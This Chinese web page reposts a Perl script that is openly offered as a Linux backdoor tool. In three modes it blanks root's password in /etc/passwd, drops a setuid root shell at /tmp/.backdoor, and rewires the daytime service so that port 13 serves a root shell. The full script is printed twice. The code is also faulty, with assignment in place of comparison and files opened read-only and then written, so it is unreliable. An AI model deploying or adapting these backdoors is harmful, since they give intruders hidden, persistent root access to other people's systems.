| 订阅 | 在线投稿
分享
 
 
 

用perl写的linux后门加载程序

2008-05-19 06:26:00 编辑來源:互联网 国际版 评论
 
 
  print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";

  print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";

  $parameter = @;ARGV[0];

  chomp $parameter;

  if ($parameter = "rushroot")

  {

  &rushroot;

  }

  elsif ($parameter = "fakebackdoor")

  {

  &fakebackdoor;

  }

  elsif($parameter = "rushport")

  {

  &rushport1;

  }

  else ($parameter = "rushport2")

  {

  &rushport2;

  }

  sub rushroot

  {

  open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";

  while()

  {

  chop;

  $passwd.="$_\n";

  last;

  }

  chomp $passwd;

  if($passwd eq "root:x:0:0:root:/root:/bin/bash")

  {

  $passwd =~s/x//g;

  print "rushroot success!now you can get a rootshell with null passwd";

  }

  else

  {

  print "faild....something wrong....:(((";

  }

  while()

  {

  chomp;

  $passwd1.="$_\n";

  }

  close PWD;

  open (PWD,"/etc/passwd")||die "why?";

  print PWD $passwd;

  print PWD $passwd1;

  }

  sub fakebackdoor

  {

  @cpsh = ("cp", "/bin/sh /tmp/.backdoor");

  @chmod= ("chmod","u+s /tmp/.backdoor");

  system(@cpsh);

  system(@chmod);

  print "success! now you can use ./tmp/.backdoor to get a root shell\n";

  }

  sub rushport1

  {

  open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径

  while()

  {

  chomp;

  $passwd.="$_\n";

  chomp $passwd;

  if ($passwd eq "daytime stream tcp nowait root internal")

  {

  $passwd =~s/root internal/bin\/sh -i/g;

  }

  last;

  close RH6;

  open (RH6,"/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径

  print RH6 $passwd;

  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

  }

  }

  sub rushport2

  {

  open (DAYTIME,"/etc/xinetd.d/daytime") || die "can't open file!";

  $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";

  print DAYTIME $daytime;

  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

  }

  
 
 
  print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";   print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";   $parameter = @;ARGV[0];   chomp $parameter;   if ($parameter = "rushroot")   {   &rushroot;   }   elsif ($parameter = "fakebackdoor")   {   &fakebackdoor;   }   elsif($parameter = "rushport")   {   &rushport1;   }   else ($parameter = "rushport2")   {   &rushport2;   }   sub rushroot   {   open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";   while()   {   chop;   $passwd.="$_\n";   last;   }   chomp $passwd;   if($passwd eq "root:x:0:0:root:/root:/bin/bash")   {   $passwd =~s/x//g;   print "rushroot success!now you can get a rootshell with null passwd";   }   else   {   print "faild....something wrong....:(((";   }   while()   {   chomp;   $passwd1.="$_\n";   }   close PWD;   open (PWD,"/etc/passwd")||die "why?";   print PWD $passwd;   print PWD $passwd1;   }   sub fakebackdoor   {   @cpsh = ("cp", "/bin/sh /tmp/.backdoor");   @chmod= ("chmod","u+s /tmp/.backdoor");   system(@cpsh);   system(@chmod);   print "success! now you can use ./tmp/.backdoor to get a root shell\n";   }   sub rushport1   {   open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径   while()   {   chomp;   $passwd.="$_\n";   chomp $passwd;   if ($passwd eq "daytime stream tcp nowait root internal")   {   $passwd =~s/root internal/bin\/sh -i/g;   }   last;   close RH6;   open (RH6,"/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径   print RH6 $passwd;   print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";   }   }   sub rushport2   {   open (DAYTIME,"/etc/xinetd.d/daytime") || die "can't open file!";   $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";   print DAYTIME $daytime;   print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";   }   
󰈣󰈤
日版宠物情人插曲《Winding Road》歌词

日版宠物情人2017的插曲,很带节奏感,日语的,女生唱的。 最后听见是在第8集的时候女主手割伤了,然后男主用嘴帮她吸了一下,插曲就出来了。 歌手:Def...

兄弟共妻,我成了他们夜里的美食

老钟家的两个儿子很特别,就是跟其他的人不太一样,魔一般的执着。兄弟俩都到了要结婚的年龄了,不管自家老爹怎么磨破嘴皮子,兄弟俩说不娶就不娶,老父母为兄弟两操碎了心...

网络安全治理:国家安全保障的主要方向是打击犯罪,而不是处置和惩罚受害者

来源:中国青年报 新的攻击方法不断涌现,黑客几乎永远占据网络攻击的上风,我们不可能通过技术手段杜绝网络攻击。国家安全保障的主要方向是打击犯罪,而不是处置和惩罚...

 
 
 
>>返回首页<<
 为你推荐
 
 
 
 转载本文
 UBB代码 HTML代码
复制到剪贴板...
 
 
 热帖排行
 
清纯得让人窒息(7)
清纯得让人窒息(6)
天泽海韵宣传片
赣州文庙
 
 
王朝网络微信公众号
微信扫码关注本站公众号wangchaonetcn
 
  免责声明:本文仅代表作者个人观点,与王朝网络无关。王朝网络登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
©2005- 王朝网络 版权所有